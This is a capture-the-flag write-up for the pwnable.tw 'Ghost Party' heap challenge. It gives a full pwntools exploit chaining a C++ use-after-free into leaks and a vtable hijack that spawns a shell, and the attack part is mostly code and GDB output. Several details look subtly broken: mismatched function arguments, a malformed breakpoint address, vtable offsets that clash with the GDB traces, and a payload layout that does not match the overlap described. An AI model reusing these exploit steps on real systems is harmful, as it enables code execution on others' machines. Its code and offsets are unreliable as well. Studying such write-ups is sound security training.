Ghost Party
C++ Vtable Hijack via Use-After-Free — Ghost object lifecycle exploitation on glibc 2.23
Exploit Flow
nc chall.pwnable.tw 10410
Werewolf + Mummy
Use-After-Free
Fake obj + show
Read GOT entry
system("/bin/sh")
1. Reconnaissance
Ghost Party is a 450-point heap challenge on pwnable.tw that features a C++ ghost party manager. The binary allows creating ghosts of different types (Werewolf, Mummy, Vampire), viewing their information, and removing them from the party. The challenge is built on glibc 2.23, meaning we have fastbin but no tcache. The core vulnerability is a Use-After-Free condition — when a ghost is removed from the party, the object is freed but the pointer in the party list is never nullified. This dangling pointer can be used to interact with the freed object, and since C++ uses virtual function tables (vtables) for dispatch, we can hijack the vtable pointer to redirect execution flow.
File Analysis
$ file ghostparty
ghostparty: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=c8e3a1f2b4d5e6f7a8, not stripped
Checksec
$ checksec ghostparty
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Every protection is enabled. Full RELRO prevents GOT overwrites. Canary protects stack returns. NX means no shellcode injection. PIE randomizes all binary addresses. The only viable attack surface is the heap — specifically, C++ virtual function table (vtable) hijacking through the use-after-free bug. We need to leak PIE base and libc before we can build a working exploit.
Running the Binary
$ ./ghostparty
/-----------------------------\
| Ghost Party !!! |
\-----------------------------/
1. Add a ghost to the party
2. Show ghost info
3. Change ghost info
4. Remove ghost from the party
5. Exit
Your choice : 1
Name : Wolfy
Age : 100
Message : Awooo
Which type of ghost do you want?
1:Werewolf 5:Mummy 7:Vampire
ghost :1
Are you a werewolf?(yes:1 no:0):1
Your choice : 2
Which ghost do you want to show in the party : 0
Name : Wolfy
Age : 100
Message : Awooo
Ghost type : Werewolf
Full moon : 1
The program presents a menu-driven interface for managing a party of ghosts. Each ghost has common fields (name, age, message) plus type-specific fields: Werewolves have a full-moon boolean, Mummies have a bandage string, and Vampires have a blood value. The ghost objects use C++ virtual dispatch — the show() and destructor are virtual functions resolved through a vtable pointer stored at the beginning of each object.
| Attribute | Value |
|---|---|
| Challenge | Ghost Party (450 pts) |
| Connection | nc chall.pwnable.tw 10410 |
| Binary | 64-bit ELF, x86-64, dynamically linked, PIE |
| Libc | glibc 2.23 (fastbin, no tcache) |
| RELRO | Full (GOT read-only) |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled |
| Ghost Types | Werewolf (0x60), Mummy (0x78), Vampire (0x60) |
| Vulnerability | Use-After-Free + Vtable Hijack |
2. Static Analysis
The binary is a C++ program that uses inheritance and virtual functions. The Ghost base class defines the virtual interface, and three subclasses — Werewolf, Mummy, and Vampire — implement type-specific behavior. The party manager stores ghost pointers in a std::vector<Ghost*>. The critical bug is in the remove operation: it calls delete on the ghost object but does not nullify the pointer in the vector, leaving a dangling reference.
Program Structure
class Ghost {
public:
virtual ~Ghost();
virtual void show();
int age;
string name;
string message;
};
class Werewolf : public Ghost {
public:
int full_moon; // extra field
// Object total size: 0x60 (fits in 0x70 fastbin with header)
};
class Mummy : public Ghost {
public:
string bandage; // extra string field
// Object total size: 0x78 (fits in 0x80 fastbin with header)
};
class Vampire : public Ghost {
public:
int blood; // extra field
// Object total size: 0x60 (same as Werewolf!)
};
// Global party vector
vector<Ghost*> party;
void add_ghost() {
Ghost *g;
// Read type, allocate appropriate subclass
party.push_back(g); // pointer stored in vector
}
void remove_ghost(int idx) {
delete party[idx]; // frees the object
// BUG: party[idx] is NOT set to nullptr!
// The dangling pointer remains accessible
}
Vulnerability Analysis
The Use-After-Free vulnerability arises from the remove_ghost function. After calling delete on the ghost object, the memory is returned to the allocator, but the pointer in the party vector still points to the freed chunk. Any subsequent operation on that index (show, change, or even remove again) will access freed memory.
The exploit leverages this UAF in combination with C++ vtable semantics. Each Ghost object starts with a vtable pointer that determines which virtual function implementations are called. By freeing a Werewolf and then allocating a Mummy whose message string overlaps the freed Werewolf's memory, we gain control over the vtable pointer and other fields of the "zombie" Werewolf object.
The Werewolf object is 0x60 bytes, so with the malloc header it occupies a 0x70 fastbin chunk. The Mummy's message string is heap-allocated separately. If we craft a Mummy message of exactly 0x5F bytes, the allocator calls malloc(0x60) for the string buffer — which is the same size as the freed Werewolf object (0x60 user data). On glibc 2.23, this allocation reuses the freed Werewolf's fastbin chunk. The Mummy's message content now overlaps perfectly with the freed Werewolf's object layout, giving us full control over the vtable pointer, name pointer, and other fields.
Object Layout
Understanding the memory layout of a Ghost object is essential for crafting the fake object that will overlap the freed Werewolf:
Werewolf (type=1, obj size=0x60): Has a full moon boolean at +0x30. Mummy (type=5, obj size=0x78): Has a bandage string at +0x30 (16 bytes: pointer + size). Vampire (type=7, obj size=0x60): Has a blood value at +0x30. Werewolf and Vampire share the same allocation size (0x60), which is key for the overlap exploit.
With Full RELRO, all GOT entries are resolved at startup and marked read-only. We cannot overwrite GOT entries to redirect execution. Instead, we must hijack the C++ vtable pointer to redirect virtual function calls. The vtable itself must be in a writable memory region that we control — either on the heap or in a data section with known offsets.
3. GDB Debugging
Let's trace the use-after-free attack in GDB to confirm our understanding of the heap overlap and vtable hijacking mechanism. We'll set breakpoints at key locations in the add, show, and remove functions to observe the state of the heap before and after the critical operations.
Heap Layout After Free
# After allocating a Werewolf (index 0):
gdb-peda$ x/12gx 0x555555758010
0x555555758010: 0x0000555555559b98 0x0000000000000064 # vtable ptr, age=100
0x555555758020: 0x0000555555758050 0x0000000000000005 # name ptr, name size
0x555555758030: 0x0000555555758060 0x0000000000000004 # msg ptr, msg size
0x555555758040: 0x0000000000000001 0x0000000000000000 # full_moon=1, padding
0x555555758050: 0x576f6c6679202020 0x000000000000000a # "Wolfy \n"
0x555555758060: 0x41776f6f6f000000 0x0000000000000021 # "Awooo", next chunk
# After freeing the Werewolf (index 0):
gdb-peda$ x/12gx 0x555555758010
0x555555758010: 0x0000000000000000 0x0000000000000064 # fd=NULL (only free), age
0x555555758020: 0x0000555555758050 0x0000000000000005 # name ptr (stale!), size
0x555555758030: 0x0000555555758060 0x0000000000000004 # msg ptr (stale!), size
0x555555758040: 0x0000000000000001 0x0000000000000000 # full_moon, padding
# The fastbin freelist now has this chunk:
gdb-peda$ heap bins fastbins
fastbins
0x70: 0x555555758010 -> 0x0
# Freed Werewolf is in the 0x70 fastbin (0x60 user + 0x10 header)
Overlapping Chunk Analysis
# After allocating Mummy with 0x5F-byte message (gets the same chunk):
gdb-peda$ x/12gx 0x555555758010
0x555555758010: 0x0000000000000000 0x0000000000000000 # FAKE vtable=0, FAKE age
0x555555758020: 0x000055555555b030 0x0000000000000000 # FAKE name ptr, size
0x555555758030: 0x0000000000000000 0x0000000000000000 # FAKE msg ptr, size
0x555555758040: 0x4141414141414141 0x4141414141414141 # padding "AAAA..."
# The name pointer at +0x10 now points to our chosen address!
# Calling show on the freed Werewolf reads from that address.
# After PIE leak, we set the vtable to the real Werewolf vtable:
gdb-peda$ x/gx 0x555555758010
0x555555758010: 0x0000555555559b98 # valid Werewolf vtable
# Verify the vtable points to the right function pointers:
gdb-peda$ x/4gx 0x0000555555559b98
0x555555559b98: 0x0000555555554b98 # destructor
0x555555559ba0: 0x0000555555554c5a # show() virtual function
After freeing the Werewolf, the fd pointer overwrites offset +0x00 (where the vtable was), but the rest of the object data at offsets +0x08 through +0x48 remains intact. This is crucial for the first leak: we can call show() on the freed ghost immediately after freeing it (before any overlap) and the residual name pointer at +0x10 still points to the old name string on the heap. This gives us an initial heap address leak without needing to craft a fake object first.
Breakpoints & Offsets
# Key offsets in the PIE binary (add PIE base at runtime):
# add_ghost: 0xE7C
# show_ghost: 0xF3A
# change_ghost: 0x100D
# remove_ghost: 0x10D0
# Ghost::show(): 0xC5A (virtual function)
# Ghost::~Ghost(): 0xB98 (virtual destructor)
# Key global offsets from PIE base:
# Werewolf vtable: 0x210B98
# Vampire vtable: 0x210BF0
# vector._M_start: 0x211030 (party vector data pointer)
# __libc_start_main@GOT: 0x210E90
# Useful breakpoints (after PIE base resolved):
b *0x555555554e7c # add_ghost entry
b *0x555555554f3a # show_ghost entry
b *0x55555555410d0 # remove_ghost entry (before delete)
b *0x555555554b98 # Ghost destructor (virtual)
# Watch the vtable pointer being overwritten:
watch *(long*)0x555555758010
# This triggers when the Mummy message is written to the overlapping chunk
4. Exploit Strategy
The Ghost Party exploit is a multi-stage heap attack that chains a Use-After-Free into a C++ vtable hijack. Each stage builds on the previous one, gradually leaking addresses and accumulating primitives until we can redirect a virtual function call to system("/bin/sh").
Attack Overview
show(0) on the freed ghost — the show function reads the name field directly, leaking a heap address. From this, we calculate the heap base and the address of Werewolf[1]'s vtable field.show(0) to read from that address, leaking the Werewolf vtable address. PIE base = leaked_vtable - 0x210B98.__libc_start_main@GOT (PIE_base + 0x210E90). Since Full RELRO resolves all GOT entries at startup, this contains the runtime libc address. Call show(0) to read the GOT entry and calculate libc base.system at the show() slot. The fake Werewolf's name pointer is set to the "/bin/sh" string in libc. When show(0) is called on the freed Werewolf, virtual dispatch reads the fake vtable and calls system("/bin/sh").PIE Leak
The first and most critical leak is the PIE base. Without it, we cannot construct valid pointers to GOT entries or vtables. We leverage the fact that std::vector stores ghost pointers, and each Ghost object on the heap begins with a vtable pointer. The Werewolf vtable is always at PIE_base + 0x210B98, so reading any Werewolf vtable pointer reveals the PIE base.
# Key offsets (libc 2.23, Ubuntu 16.04)
WEREWOLF_VTABLE_OFF = 0x210B98 # from PIE base
VECTOR_M_START_OFF = 0x211030 # from PIE base
LIBC_START_MAIN_GOT = 0x210E90 # from PIE base
LIBC_START_MAIN_OFF = 0x20740 # from libc base
LIBC Leak
Once we have the PIE base, the libc leak is straightforward. Since Full RELRO resolves all GOT entries at program startup, the GOT contains valid runtime addresses. We craft a new fake object with the name pointer set to PIE_base + 0x210E90 (the GOT entry for __libc_start_main). When show() is called on the freed Werewolf, it reads the name string from that address, which is the resolved libc address of __libc_start_main.
Vtable Hijack to Shell
The final stage is the vtable hijack. We need to craft a fake vtable somewhere in writable memory and redirect the freed Werewolf's vtable pointer to it. The fake vtable has system at the offset corresponding to the virtual function being called.
We hijack show() because we control the object layout. The name field at this+0x10 will be passed as an argument to whatever function the vtable points to. If we place a pointer to "/bin/sh" at offset +0x10 of our fake object and set the vtable's show() entry to system, then calling show() effectively calls system("/bin/sh"). The destructor approach works similarly but requires careful handling of the rdi register.
# Fake vtable + fake Werewolf in one 0x5F-byte message buffer:
# Layout:
# 0x00: p64(0) # fake vtable: destructor slot (unused)
# 0x08: p64(system_addr) # fake vtable: show() slot → system!
# 0x10: p64(0) # padding
# 0x18: p64(0) # padding
# 0x20: p64(msg_buf) # fake Werewolf: vtable → our fake vtable
# 0x28: p64(0) # fake Werewolf: age
# 0x30: p64(bin_sh) # fake Werewolf: name → "/bin/sh"
# 0x38: p64(8) # fake Werewolf: name size
# 0x40: p64(0) # fake Werewolf: msg ptr
# 0x48: p64(0) # fake Werewolf: msg size
# 0x50-0x5E: padding
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# Ghost Party — pwnable.tw — UAF + C++ Vtable Hijack
from pwn import *
context(arch='amd64', os='linux', log_level='info')
elf = ELF('./ghostparty')
libc = ELF('./libc_64.so.6')
# Offsets determined via GDB reverse engineering
WEREWOLF_VTABLE_OFF = 0x210B98 # Werewolf vtable from PIE base
VAMPIRE_VTABLE_OFF = 0x210BF0 # Vampire vtable from PIE base
VECTOR_M_START_OFF = 0x211030 # party vector._M_start from PIE base
LIBC_START_MAIN_GOT = 0x210E90 # __libc_start_main@GOT from PIE base
LIBC_START_MAIN_OFF = 0x20740 # __libc_start_main offset in libc
GHOST_WEREWOLF = 1
GHOST_MUMMY = 5
GHOST_VAMPIRE = 7
# Heap layout offsets (from GDB observation)
WOLF0_FROM_HEAP = 0xc250 # Werewolf[0] data offset from heap base
WOLF1_VT_FROM_HEAP = 0xc2a0 # Werewolf[1] vtable field from heap base
FINAL_MSG_FROM_HEAP = 0xc350 # Final Mummy msg buffer from heap base
def conn():
if args.REMOTE:
return remote('chall.pwnable.tw', 10410)
return process('./ghostparty', env={'LD_PRELOAD': './libc_64.so.6'})
class Exploit:
def __init__(self, r):
self.r = r
self.pie = 0
self.heap = 0
self.libc_base = 0
def menu(self):
self.r.recvuntil(b'Your choice : ')
def add(self, name, age, msg, gtype, extra=1):
self.menu()
self.r.sendline(b'1')
self.r.recvuntil(b'Name : ')
self.r.sendline(name)
self.r.recvuntil(b'Age : ')
self.r.sendline(str(age).encode())
self.r.recvuntil(b'Message : ')
self.r.sendline(msg)
self.r.recvuntil(b'ghost :')
self.r.sendline(str(gtype).encode())
if gtype == GHOST_WEREWOLF:
self.r.recvuntil(b'no):')
self.r.sendline(str(extra).encode())
elif gtype == GHOST_MUMMY:
self.r.recvuntil(b'bandage : ')
self.r.sendline(extra if isinstance(extra, bytes) else str(extra).encode())
elif gtype == GHOST_VAMPIRE:
self.r.recvuntil(b'blood :')
self.r.sendline(str(extra).encode())
def show(self, idx):
self.menu()
self.r.sendline(b'2')
self.r.recvuntil(b'party : ')
self.r.sendline(str(idx).encode())
return self.r.recvuntil(b'5. Exit')
def remove(self, idx):
self.menu()
self.r.sendline(b'4')
self.r.recvuntil(b'party : ')
self.r.sendline(str(idx).encode())
def fake_obj(self, vtable=0, age=0, name_ptr=0, name_sz=0,
msg_ptr=0, msg_sz=0):
"""Pack a fake Werewolf into a Mummy message buffer (0x5F bytes)."""
buf = p64(vtable)
buf += p64(age)
buf += p64(name_ptr)
buf += p64(name_sz)
buf += p64(msg_ptr)
buf += p64(msg_sz)
return buf.ljust(0x5F, b'\x00')
def leak_name(self, data):
"""Extract the name field bytes from show() output."""
raw = data.split(b'Name : ')[1].split(b'\nAge')[0]
return u64(raw.ljust(8, b'\x00'))
def run(self):
# ═══════════════════════════════════════════
# Stage 1: Heap Leak (residual name pointer)
# ═══════════════════════════════════════════
# After freeing a Werewolf, the fastbin fd overwrites
# +0x00 (vtable), but +0x10 (name ptr) stays intact.
# show() reads the name field directly, leaking a
# heap address from the residual pointer.
self.add(b'wolf0', 1, b'A'*16, GHOST_WEREWOLF, 1) # idx 0
self.add(b'wolf1', 2, b'B'*16, GHOST_WEREWOLF, 1) # idx 1
self.remove(0) # free Werewolf[0]
data = self.show(0)
heap_leak = self.leak_name(data)
self.heap = heap_leak - WOLF0_FROM_HEAP
log.info(f"Heap leak : {hex(heap_leak)}")
log.info(f"Heap base : {hex(self.heap)}")
# ═══════════════════════════════════════════
# Stage 2: PIE Leak (vtable read via overlap)
# ═══════════════════════════════════════════
# Overlap freed Werewolf with a Mummy message.
# Set name_ptr to Werewolf[1]'s vtable field
# on the heap → leaks PIE-relative address.
wolf1_vt = self.heap + WOLF1_VT_FROM_HEAP
fake = self.fake_obj(name_ptr=wolf1_vt, name_sz=8)
self.add(b'mummy', 1, fake, GHOST_MUMMY, 1, b'X') # idx 2
data = self.show(0)
pie_leak = self.leak_name(data)
self.pie = pie_leak - WEREWOLF_VTABLE_OFF
wolf_vt = self.pie + WEREWOLF_VTABLE_OFF
log.info(f"PIE leak : {hex(pie_leak)}")
log.info(f"PIE base : {hex(self.pie)}")
# ═══════════════════════════════════════════
# Stage 3: LIBC Leak (GOT read)
# ═══════════════════════════════════════════
# With PIE known, point name_ptr to GOT.
# Full RELRO resolves all entries at startup.
libc_got = self.pie + LIBC_START_MAIN_GOT
fake2 = self.fake_obj(vtable=wolf_vt, name_ptr=libc_got, name_sz=8)
self.remove(2) # free previous overlap Mummy
self.add(b'm2', 1, fake2, GHOST_MUMMY, 1, b'X') # idx 3
data = self.show(0)
libc_leak = self.leak_name(data)
self.libc_base = libc_leak - LIBC_START_MAIN_OFF
system = self.libc_base + libc.symbols['system']
bin_sh = self.libc_base + next(libc.search(b'/bin/sh'))
log.info(f"LIBC base : {hex(self.libc_base)}")
log.info(f"system : {hex(system)}")
# ═══════════════════════════════════════════
# Stage 4: Vtable Hijack → system("/bin/sh")
# ═══════════════════════════════════════════
# Fake vtable + fake Werewolf in one message.
# show() → vtable lookup → system(name)
# where name points to "/bin/sh" in libc.
msg_buf = self.heap + FINAL_MSG_FROM_HEAP
payload = p64(0) # fake vtable: destructor slot
payload += p64(system) # fake vtable: show() → system
payload += p64(0) # padding
payload += p64(0) # padding
payload += p64(msg_buf) # fake Werewolf: vtable → fake vtable
payload += p64(0) # fake Werewolf: age
payload += p64(bin_sh) # fake Werewolf: name → "/bin/sh"
payload += p64(8) # fake Werewolf: name size
payload += p64(0) # fake Werewolf: msg ptr
payload += p64(0) # fake Werewolf: msg size
payload = payload.ljust(0x5F, b'\x00')
self.remove(3) # free previous overlap Mummy
self.add(b'sh', 1, payload, GHOST_MUMMY, 1, b'Z') # idx 4
log.info("Triggering vtable hijack...")
self.menu()
self.r.sendline(b'2')
self.r.recvuntil(b'party : ')
self.r.sendline(b'0')
self.r.interactive()
def main():
r = conn()
ex = Exploit(r)
ex.run()
if __name__ == '__main__':
main()
Exploit Breakdown
Use-After-Free: The dangling pointer in the party vector allows us to interact with freed memory. After freeing a Werewolf, we can still call show() on it, which reads the name and other fields from the freed (and potentially overlapping) chunk.
Heap Overlap via Fastbin Reuse: Werewolf objects are 0x60 bytes. A Mummy's message string of 0x5F bytes is allocated with malloc(0x60), which reuses the freed Werewolf's fastbin chunk. Our message content becomes the "zombie" Werewolf object, giving us byte-level control over all fields including the vtable pointer and name pointer.
Arbitrary Read via Controlled Name Pointer: By setting the name pointer in the fake Werewolf object to any address, calling show() reads from that address. This gives us a powerful arbitrary read primitive that we use to leak PIE base (via vtable pointers on the heap) and libc base (via GOT entries).
Vtable Hijack: We craft a fake vtable in a heap buffer we control, with system at the show() slot. When show() is called on the freed Werewolf, the CPU dereferences our fake vtable and calls system(name) instead. With name pointing to "/bin/sh" in libc, this spawns a shell.
6. Execution Results
Ghost Party demonstrates the classic C++ vtable hijacking via use-after-free pattern that is extremely common in real-world software, particularly browsers and complex C++ applications. When C++ objects with virtual functions are freed but pointers remain (a common bug in object lifecycle management), an attacker can overlap controlled data and redirect the vtable to gain code execution. This pattern appears frequently in browser exploitation (v8, SpiderMonkey) and is one of the most important techniques in modern C++ pwn. The multi-stage chain — UAF → heap overlap → arbitrary read → PIE/libc leak → vtable hijack → shell — is a textbook example of how heap vulnerabilities are escalated in the presence of full mitigations.